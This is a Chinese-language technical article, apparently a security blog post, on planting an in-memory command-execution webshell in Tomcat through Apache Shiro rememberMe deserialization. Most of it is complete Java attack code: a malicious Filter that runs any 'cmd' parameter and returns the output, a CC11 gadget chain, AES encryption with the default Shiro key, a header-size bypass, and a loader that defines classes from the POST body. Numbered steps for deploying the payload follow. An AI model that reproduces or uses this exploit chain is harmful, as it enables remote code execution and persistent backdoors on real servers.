Shiro注入回显内存马
字数 1457 2025-08-24 07:48:22

Shiro注入回显内存马技术分析与实现

前言

本文详细分析Shiro框架中注入回显内存马的技术实现,重点解决Tomcat环境下Shiro自定义Filter导致的内存马注入限制问题,并提供了完整的实现方案。

技术背景

在Tomcat反序列化注入回显内存马的研究中,发现由于Shiro框架自定义了一个Filter,导致无法直接在Shiro中注入内存马。为此,研究人员提出了一种基于全局存储的新思路,可在除Tomcat 7以外的其他版本中使用。

核心思路

寻找Response存储位置

通过分析Tomcat源码,在AbstractProcessor类中发现Request和Response被声明为final属性,这意味着一旦赋值后便不会被更改。因此,只要能获取到Http11Processor实例,就能获取到Request和Response对象。

获取Http11Processor的流程

  1. org.apache.coyote.AbstractProtocol#process调用createProcessor方法创建Processor
  2. AbstractHttp11Protocol继承AbstractProtocol,调用父类的createProcessor()
  3. 调用Http11Processor的构造方法
  4. 在构造器中初始化Request和Response并赋值给AbstractProcessor的request和response属性

获取Http11Processor的途径

  1. 通过createProcessor()创建的Processor会被注册
  2. 从processor中获取RequestInfo类型的请求信息rp
  3. 调用setGlobalProcessor将rp存入子类ConnectionHandler的global属性中
  4. 通过反射获取AbstractProtocol$ConnectoinHandler的global属性
  5. 再获取global中的processors属性
  6. 遍历processors获取Request和Response

完整的调用链

WebappClassLoader -> StandardService -> Connector -> 
AbstractProtocol$ConnectoinHandler -> global -> Processor -> Request -> Response

内存马实现

内存马核心代码

public class TomcatMemShellInject extends AbstractTranslet implements Filter {
    private final String cmdParamName = "cmd";
    private final static String filterUrlPattern = "/*";
    private final static String filterName = "evilFilter";

    static {
        try {
            // 获取StandardContext
            Class c = Class.forName("org.apache.catalina.core.StandardContext");
            WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
            
            // 获取ServletContext
            ServletContext servletContext = standardContext.getServletContext();
            
            // 获取filterConfigs
            Field Configs = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("filterConfigs");
            Configs.setAccessible(true);
            Map filterConfigs = (Map) Configs.get(standardContext);
            
            // 如果filter不存在则注入
            if (filterConfigs.get(filterName) == null){
                // 修改StandardContext状态为STARTING_PREP
                Field stateField = org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state");
                stateField.setAccessible(true);
                stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);
                
                // 创建并注册Filter
                Filter MemShell = new TomcatMemShellInject();
                FilterRegistration.Dynamic filterRegistration = servletContext.addFilter(filterName, MemShell);
                filterRegistration.setInitParameter("encoding", "utf-8");
                filterRegistration.setAsyncSupported(false);
                filterRegistration.addMappingForUrlPatterns(
                    EnumSet.of(DispatcherType.REQUEST), false, new String[]{filterUrlPattern});
                
                // 恢复StandardContext状态
                if (stateField != null) {
                    stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED);
                }
                
                // 启动filter
                if (standardContext != null){
                    Method filterStartMethod = StandardContext.class.getMethod("filterStart");
                    filterStartMethod.setAccessible(true);
                    filterStartMethod.invoke(standardContext, null);
                    
                    // 调整FilterMap顺序
                    Class ccc = null;
                    try {
                        ccc = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
                    } catch (Throwable t){}
                    if (ccc == null) {
                        try {
                            ccc = Class.forName("org.apache.catalina.deploy.FilterMap");
                        } catch (Throwable t){}
                    }
                    
                    Method m = c.getMethod("findFilterMaps");
                    Object[] filterMaps = (Object[]) m.invoke(standardContext);
                    Object[] tmpFilterMaps = new Object[filterMaps.length];
                    int index = 1;
                    
                    // 将恶意filter放到首位
                    for (int i = 0; i < filterMaps.length; i++) {
                        Object o = filterMaps[i];
                        m = ccc.getMethod("getFilterName");
                        String name = (String) m.invoke(o);
                        if (name.equalsIgnoreCase(filterName)) {
                            tmpFilterMaps[0] = o;
                        } else {
                            tmpFilterMaps[index++] = filterMaps[i];
                        }
                    }
                    
                    for (int i = 0; i < filterMaps.length; i++) {
                        filterMaps[i] = tmpFilterMaps[i];
                    }
                }
            }
        } catch (Exception e){
            e.printStackTrace();
        }
    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) 
            throws IOException, ServletException {
        HttpServletRequest req = (HttpServletRequest) servletRequest;
        String cmd;
        
        // 执行命令并回显
        if ((cmd = servletRequest.getParameter(cmdParamName)) != null) {
            Process process = Runtime.getRuntime().exec(cmd);
            BufferedReader bufferedReader = new BufferedReader(
                new InputStreamReader(process.getInputStream()));
            StringBuilder stringBuilder = new StringBuilder();
            String line;
            while ((line = bufferedReader.readLine()) != null) {
                stringBuilder.append(line + '\n');
            }
            servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
            servletResponse.getOutputStream().flush();
            servletResponse.getOutputStream().close();
            return;
        }
        filterChain.doFilter(servletRequest, servletResponse);
    }
}

AES加密实现

import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.*;

public class AESEncode {
    public static void main(String[] args) throws Exception {
        String tomcatHeader = "./tomcatHeader.ser";
        byte[] key = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
        AesCipherService aes = new AesCipherService();
        ByteSource ciphertext = aes.encrypt(getBytes(tomcatHeader), key);
        System.out.printf(ciphertext.toString());
    }

    public static byte[] getBytes(String path) throws Exception {
        InputStream inputStream = new FileInputStream(path);
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        int n = 0;
        while ((n = inputStream.read())!=-1){
            byteArrayOutputStream.write(n);
        }
        byte[] bytes = byteArrayOutputStream.toByteArray();
        return bytes;
    }
}

CC11利用链构造

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;

public class CC11Template {
    public static void main(String[] args) throws Exception {
        // 写入.class 文件
        byte[] classBytes = getBytes();
        byte[][] targetByteCodes = new byte[][]{classBytes};
        
        // 初始化TemplatesImpl
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        Field f0 = templates.getClass().getDeclaredField("_bytecodes");
        f0.setAccessible(true);
        f0.set(templates, targetByteCodes);
        
        f0 = templates.getClass().getDeclaredField("_name");
        f0.setAccessible(true);
        f0.set(templates, "name");
        
        f0 = templates.getClass().getDeclaredField("_class");
        f0.setAccessible(true);
        f0.set(templates, null);
        
        // 构造CC11利用链
        InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
        HashMap innermap = new HashMap();
        LazyMap map = (LazyMap) LazyMap.decorate(innermap, transformer);
        TiedMapEntry tiedmap = new TiedMapEntry(map, templates);
        HashSet hashset = new HashSet(1);
        hashset.add("foo");
        
        // 反射修改HashSet内部结构
        Field f = null;
        try {
            f = HashSet.class.getDeclaredField("map");
        } catch (NoSuchFieldException e) {
            f = HashSet.class.getDeclaredField("backingMap");
        }
        f.setAccessible(true);
        HashMap hashset_map = (HashMap) f.get(hashset);
        
        Field f2 = null;
        try {
            f2 = HashMap.class.getDeclaredField("table");
        } catch (NoSuchFieldException e) {
            f2 = HashMap.class.getDeclaredField("elementData");
        }
        f2.setAccessible(true);
        Object[] array = (Object[]) f2.get(hashset_map);
        
        Object node = array[0];
        if (node == null){
            node = array[1];
        }
        
        Field keyField = null;
        try {
            keyField = node.getClass().getDeclaredField("key");
        } catch (Exception e){
            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
        }
        keyField.setAccessible(true);
        keyField.set(node, tiedmap);
        
        // 修改InvokerTransformer的iMethodName
        Field f3 = transformer.getClass().getDeclaredField("iMethodName");
        f3.setAccessible(true);
        f3.set(transformer, "newTransformer");
        
        // 序列化对象
        try {
            ObjectOutputStream outputStream = new ObjectOutputStream(
                new FileOutputStream("./tomcatHeader.ser"));
            outputStream.writeObject(hashset);
            outputStream.close();
        } catch (Exception e){
            e.printStackTrace();
        }
    }
    
    public static byte[] getBytes() throws IOException {
        InputStream inputStream = new FileInputStream(
            new File("./src/test/java/TomcatHeaderSize.class"));
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        int n = 0;
        while ((n = inputStream.read())!=-1){
            byteArrayOutputStream.write(n);
        }
        byte[] bytes = byteArrayOutputStream.toByteArray();
        System.out.println(bytes);
        return bytes;
    }
}

Header长度限制绕过方案

方案一:反射修改maxHeaderSize

public class TomcatHeaderSize extends AbstractTranslet {
    static {
        try {
            // 获取StandardContext
            Field contextField = StandardContext.class.getDeclaredField("context");
            Field serviceField = ApplicationContext.class.getDeclaredField("service");
            Field requestField = RequestInfo.class.getDeclaredField("req");
            Field headerSizeField = Http11InputBuffer.class.getDeclaredField("headerBufferSize");
            Method getHandlerMethod = AbstractProtocol.class.getDeclaredMethod("getHandler", null);
            
            contextField.setAccessible(true);
            headerSizeField.setAccessible(true);
            serviceField.setAccessible(true);
            requestField.setAccessible(true);
            getHandlerMethod.setAccessible(true);
            
            WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            ApplicationContext applicationContext = (ApplicationContext) contextField.get(
                webappClassLoaderBase.getResources().getContext());
            StandardService standardService = (StandardService) serviceField.get(applicationContext);
            Connector[] connectors = standardService.findConnectors();
            
            // 遍历Connector修改header大小
            for (int i = 0; i < connectors.length; i++) {
                if (4 == connectors[i].getScheme().length()) {
                    ProtocolHandler protocolHandler = connectors[i].getProtocolHandler();
                    if (protocolHandler instanceof AbstractHttp11Protocol) {
                        Class[] classes = AbstractProtocol.class.getDeclaredClasses();
                        for (int j = 0; j < classes.length; j++) {
                            // 查找ConnectionHandler
                            if (52 == (classes[j].getName().length()) || 
                                60 == (classes[j].getName().length())) {
                                Field globalField = classes[j].getDeclaredField("global");
                                Field processorsField = RequestGroupInfo.class.getDeclaredField("processors");
                                globalField.setAccessible(true);
                                processorsField.setAccessible(true);
                                
                                RequestGroupInfo requestGroupInfo = (RequestGroupInfo) globalField.get(
                                    getHandlerMethod.invoke(protocolHandler, null));
                                List list = (List) processorsField.get(requestGroupInfo);
                                
                                // 修改每个processor的headerBufferSize
                                for (int k = 0; k < list.size(); k++) {
                                    Request tempRequest = (Request) requestField.get(list.get(k));
                                    headerSizeField.set(tempRequest.getInputBuffer(), 10000);
                                }
                            }
                        }
                        // 修改全局maxHttpHeaderSize
                        ((AbstractHttp11Protocol) protocolHandler).setMaxHttpHeaderSize(10000);
                    }
                }
            }
        } catch (Exception e) {
        }
    }
}

方案二:自定义ClassLoader加载Body数据

public class MyLoader extends AbstractTranslet {
    static {
        try {
            String pass = "loader";
            System.out.println("Loader load.....");
            
            // 获取StandardContext
            WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            Context context = webappClassLoaderBase.getResources().getContext();
            Field contextField = StandardContext.class.getDeclaredField("context");
            contextField.setAccessible(true);
            ApplicationContext applicationContext = (ApplicationContext) contextField.get(context);
            
            // 获取StandardService
            Field serviceField = ApplicationContext.class.getDeclaredField("service");
            serviceField.setAccessible(true);
            StandardService standardService = (StandardService) serviceField.get(applicationContext);
            Connector[] connectors = standardService.findConnectors();
            
            // 遍历Connector
            for (int i = 0; i < connectors.length; i++) {
                if (connectors[i].getScheme().contains("http")) {
                    ProtocolHandler protocolHandler = connectors[i].getProtocolHandler();
                    Method getHandlerMethod = AbstractProtocol.class.getDeclaredMethod("getHandler", null);
                    getHandlerMethod.setAccessible(true);
                    
                    // 获取ConnectionHandler
                    AbstractEndpoint.Handler connectoinHandler = (AbstractEndpoint.Handler) 
                        getHandlerMethod.invoke(protocolHandler, null);
                    Field globalField = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler")
                        .getDeclaredField("global");
                    globalField.setAccessible(true);
                    
                    // 获取RequestGroupInfo
                    RequestGroupInfo requestGroupInfo = (RequestGroupInfo) globalField.get(connectoinHandler);
                    Field processorsField = RequestGroupInfo.class.getDeclaredField("processors");
                    processorsField.setAccessible(true);
                    List list = (List) processorsField.get(requestGroupInfo);
                    
                    // 通过QueryString筛选特定请求
                    for (int k = 0; k < list.size(); k++) {
                        RequestInfo requestInfo = (RequestInfo) list.get(k);
                        if (requestInfo.getCurrentUri().contains("demo")){
                            System.out.println("success");
                            
                            // 获取Request对象
                            Field requestField = RequestInfo.class.getDeclaredField("req");
                            requestField.setAccessible(true);
                            Request tempRequest = (Request) requestField.get(requestInfo);
                            org.apache.catalina.connector.Request request = 
                                (org.apache.catalina.connector.Request) tempRequest.getNote(1);
                            
                            // 从POST参数中获取class数据
                            String classData = request.getParameter("classData");
                            System.out.println(classData);
                            byte[] classBytes = new sun.misc.BASE64Decoder().decodeBuffer(classData);
                            
                            // 动态加载class
                            Method defineClassMethod = ClassLoader.class.getDeclaredMethod(
                                "defineClass", new Class[]{byte[].class, int.class, int.class});
                            defineClassMethod.setAccessible(true);
                            Class cc = (Class) defineClassMethod.invoke(
                                MyLoader.class.getClassLoader(), classBytes, 0, classBytes.length);
                            Class.forName(cc.getName());
                            break;
                        }
                    }
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

实施步骤

  1. 生成内存马class文件:编译TomcatMemShellInject.java生成class文件
  2. 构造CC11利用链:使用CC11Template.java将class文件序列化
  3. AES加密:使用AESEncode.java对序列化文件进行加密
  4. 绕过header限制
    • 方法一:先注入TomcatHeaderSize修改header大小限制
    • 方法二:使用MyLoader通过POST body加载恶意class
  5. 注入内存马:通过rememberMe参数发送加密后的payload

注意事项

  1. 方法二需要在请求URL中包含"demo"才能触发加载
  2. Tomcat 7不支持此技术方案
  3. 实际使用时需要根据目标环境调整反射代码
  4. 注入前需要确认Shiro的加密密钥是否为默认值

总结

本文详细分析了Shiro框架中注入回显内存马的技术实现,提供了完整的代码实现和两种绕过header限制的方案。这种技术利用了Tomcat的内部结构和Shiro的反序列化漏洞,实现了在受限环境下的内存马注入。

Shiro注入回显内存马技术分析与实现 前言 本文详细分析Shiro框架中注入回显内存马的技术实现,重点解决Tomcat环境下Shiro自定义Filter导致的内存马注入限制问题,并提供了完整的实现方案。 技术背景 在Tomcat反序列化注入回显内存马的研究中,发现由于Shiro框架自定义了一个Filter,导致无法直接在Shiro中注入内存马。为此,研究人员提出了一种基于全局存储的新思路,可在除Tomcat 7以外的其他版本中使用。 核心思路 寻找Response存储位置 通过分析Tomcat源码,在 AbstractProcessor 类中发现Request和Response被声明为final属性,这意味着一旦赋值后便不会被更改。因此,只要能获取到 Http11Processor 实例,就能获取到Request和Response对象。 获取Http11Processor的流程 org.apache.coyote.AbstractProtocol#process 调用 createProcessor 方法创建Processor AbstractHttp11Protocol 继承 AbstractProtocol ,调用父类的 createProcessor() 调用 Http11Processor 的构造方法 在构造器中初始化Request和Response并赋值给 AbstractProcessor 的request和response属性 获取Http11Processor的途径 通过 createProcessor() 创建的Processor会被注册 从processor中获取 RequestInfo 类型的请求信息rp 调用 setGlobalProcessor 将rp存入子类 ConnectionHandler 的global属性中 通过反射获取 AbstractProtocol$ConnectoinHandler 的global属性 再获取global中的processors属性 遍历processors获取Request和Response 完整的调用链 内存马实现 内存马核心代码 AES加密实现 CC11利用链构造 Header长度限制绕过方案 方案一:反射修改maxHeaderSize 方案二:自定义ClassLoader加载Body数据 实施步骤 生成内存马class文件 :编译 TomcatMemShellInject.java 生成class文件 构造CC11利用链 :使用 CC11Template.java 将class文件序列化 AES加密 :使用 AESEncode.java 对序列化文件进行加密 绕过header限制 : 方法一:先注入 TomcatHeaderSize 修改header大小限制 方法二:使用 MyLoader 通过POST body加载恶意class 注入内存马 :通过rememberMe参数发送加密后的payload 注意事项 方法二需要在请求URL中包含"demo"才能触发加载 Tomcat 7不支持此技术方案 实际使用时需要根据目标环境调整反射代码 注入前需要确认Shiro的加密密钥是否为默认值 总结 本文详细分析了Shiro框架中注入回显内存马的技术实现,提供了完整的代码实现和两种绕过header限制的方案。这种技术利用了Tomcat的内部结构和Shiro的反序列化漏洞,实现了在受限环境下的内存马注入。